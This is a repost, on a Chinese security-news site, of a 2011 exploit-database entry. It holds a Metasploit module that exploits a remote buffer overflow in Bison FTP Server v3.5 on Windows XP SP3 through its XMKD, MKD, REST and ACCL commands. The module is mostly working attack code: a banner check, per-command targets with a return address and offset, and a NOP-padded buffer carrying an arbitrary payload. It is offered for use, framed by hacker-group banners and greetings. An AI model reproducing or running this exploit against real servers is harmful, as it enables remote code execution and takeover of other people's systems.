首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Bison FTP Server v3.5 Multiple Remote Root BOF Exploit (MSF)
来源:http://facebook.com/KedAns 作者:KedAns-Dz 发布时间:2011-09-05  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

###
# Title : Bison FTP Server v3.5 Multiple Remote Root BOF Exploit (MSF)
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com | kedans@facebook.com
# Home : Hassi.Messaoud (30008) - Algeria -(00213555248701)
# Web Site : www.1337day.com * www.exploit-id.com * sec4ever.com
# Facebook : http://facebook.com/KedAns
# platform : windows
# Impact : Remote Root & Buffer Overflow (Multiple Command's via MSF)
# Tested on : Windows XP SP3 (en)
##

##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3   |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |
# | * ------>  KinG Of PiraTeS * The g0bl!n <-------- * | 
# | ------------------------------------------------- < |
###

##
# $Id: bisonftp_bof.rb | 2011-09-03 | 15:30 | KedAns-Dz $
##

require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking
 
  include Msf::Exploit::Remote::Ftp
 
  def initialize(info = {})
    super(update_info(info,
    'Name' => 'Bison FTP Server v3.5 Multiple Remote Root BOF Exploit',
    'Description' => %q{
    This module exploits a Bison FTP Server v3.5 Remote Buffer Overflow
    and Crashed the Server ,found in the XMKD/MKD/REST/ACCL command's.
    },
    'Author' => [
     'KedAns-Dz <ked-h[at]hotmail.com>', 
    ],
    'License' => MSF_LICENSE,
    'Version' => '$Revision: 0.1',
    'References' =>
      [
       [ 'URL', 'http://1337day.com/exploits/16817' ], # by KedAns-Dz
       [ 'URL', 'http://1337day.com/exploits/16650' ], # by localh0t
      ],
    'DefaultOptions' =>
      {
       'EXITFUNC' => 'process',
      },
    'Payload' =>
      {
       'BadChars' => "\x00\x0a\x0d",
      },
    'Platform' => 'win',
    'Targets' =>
      [
       [ 'Bison FTP Server (Windows XP-SP3 / XMKD command)',
        {
        'Ret' => 0x7cb97475, # jmp esp - (shell32.dll)
        'Offset' => 1337,
        'CMD' => 'XMKD'
        }
       ],
       [ 'Bison FTP Server (Windows XP-SP3 / REST command)',
        {
        'Ret' => 0x7cb97475, # jmp esp - (shell32.dll)
        'Offset' => 1337,
         'CMD' => 'REST'
        }
       ],
       [ 'Bison FTP Server (Windows XP-SP3 / MKD command)',
        {
        'Ret' => 0x7cb97475, # jmp esp - (shell32.dll)
        'Offset' => 1337,
        'CMD' => 'MKD'
        }
       ],
       [ 'Bison FTP Server (Windows XP-SP3 / ACCL command)',
        {
        'Ret' => 0x7cb97475, # jmp esp - (shell32.dll)
        'Offset' => 1337,
        'CMD' => 'ACCL'
        }
       ],
       ],
    'DefaultTarget' => 0))
    end
	
	def check
       connect
       disconnect

        if (banner =~ /BisonWare BisonFTP server product V3.5/)
        return Exploit::CheckCode::Vulnerable
        end
        return Exploit::CheckCode::Safe
	end
 
    def exploit
       connect_login
 
       print_status("Trying target #{target.name}...")
 
        buf = make_nops(target['Offset']) # Nop's for Crashing 
        buf << payload.encoded
        buf << make_nops(8) # Padding
        buf << [target.ret].pack('V')
        buf << "\x0a" # End Connection
 
        send_cmd( [target['CMD'], buf] , false )
 
       handler
       disconnect
    end
	
end

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=====================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > + Rizky Ariestiyansyah * Islam Caddy <3
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS (www.1337day.com) 
# Inj3ct0r Members 31337 : Indoushka * KnocKout * eXeSoul * SeeMe * XroGuE * ZoRLu * gunslinger_ 
# anT!-Tr0J4n * ^Xecuti0N3r * Kalashinkov3 (www.1337day.com/team) * Dz Offenders Cr3w * Sec4ever
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X
# Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * www.packetstormsecurity.org * TreX
# www.metasploit.com * UE-Team & I-BackTrack * r00tw0rm.com * All Security and Exploits Webs ..
#=================================================================================================

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Desktop Recorder Local Buffer
·AD Sound Recorder Local Buffer
·Free MP3 CD Ripper 1.1 Local B
·BisonFTP Server v3.5 (MKD) Rem
·XFtp_client Remote Buffer Over
·Cerberus FTP Server 4.0.9.8 (R
·Sound Editor Local Buffer Over
·Musiccut210p Local Buffer Over
·CoolPlayer Portable 2.19.2 Buf
·DragonflyBSD PortBind TCP (133
·World Of Warcraft Local Stack
·Apple QuickTime PICT PnSize Bu
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved